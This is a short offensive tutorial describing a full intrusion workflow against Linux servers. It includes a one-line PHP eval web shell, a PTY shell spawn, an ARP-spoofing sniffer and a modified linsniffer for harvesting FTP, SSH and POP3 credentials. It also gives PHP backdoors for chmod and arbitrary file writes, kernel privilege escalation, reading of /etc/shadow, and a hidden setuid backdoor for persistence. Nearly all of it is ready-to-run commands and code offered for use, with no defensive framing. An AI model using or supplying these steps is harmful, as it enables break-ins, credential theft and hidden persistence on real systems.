How to Exploit Linux Servers: PHP Backdoors, Kernel Privilege Escalation, and Sniffing

First, create a one‑line PHP backdoor on the target server:

echo -e "<?php @eval($_POST[md5])?>" > rankuplog_time.php

Verify the file: cat rankuplog_time.php Attempt a simple cross‑site request by listing the web directory: ls -la /www.users/ Use Python to spawn an interactive shell when the system has Python installed: python -c 'import pty; pty.spawn("/bin/sh")' Check the current user ID and kernel version:

id

uname -r

Typical Linux privilege‑escalation vectors include third‑party software vulnerabilities, local trust features, and kernel overflows. Useful exploit repositories are:

http://tools.90sec.org/

http://sebug.net/paper/linux_exp/

http://x73.cc/bitch/exp/

http://www.exploit-db.com/search/

Compile and run arpsniffer after installing libpcap and libnet:

rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz
tar zxvf libpcap-0.8.1.tar.gz
cd libpcap-0.8.1
./configure
make
make install
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

Run the sniffer to spoof the gateway and capture traffic:

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

Capture the target’s packets with tcpdump and save them for analysis:

tcpdump -i eth0 host 192.168.0.11
tcpdump -i eth0 host 172.16.0.12 -w pop.txt

Modify linsniffer.c to monitor specific service ports (e.g., FTP, SSH, POP3) and compile:

if(ntohs(tcp->dest)==21)  p=1; /* ftp */
if(ntohs(tcp->dest)==22)  p=1; /* ssh */
if(ntohs(tcp->dest)==23)  p=1; /* telnet */
if(ntohs(tcp->dest)==80)  p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

gcc -o linsniffer linsniffer.c

Run the sniffer and find captured credentials in tcp.log: ./linsniffer Additional PHP backdoors for changing file permissions or writing arbitrary files:

$path = stripslashes($_GET['path']);
$ok = chmod($path, 0777);
if($ok) echo "CHMOD OK, Permission editable file or directory.";

@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen($_POST['filename'], 'a');
@fputs($fp, $mess);
@fclose($fp);

Exploit a local kernel vulnerability (e.g., udp_sendmsg < 2.6.19) and use udev for privilege escalation. After gaining root, create a set‑uid backdoor:

cp /lib/ld-linux.so.2 /tmp/.str1ven
chmod +s /tmp/.str1ven
./.str1ven `which whoami`

Common enumeration commands demonstrated include:

cat /etc/passwd

cat /etc/shadow

ifconfig

netstat -an | grep LISTEN

service --status-all

lsb_release -a

These steps illustrate a full workflow from initial web‑shell insertion to privilege escalation, traffic interception, credential harvesting, and persistence on a compromised Linux host.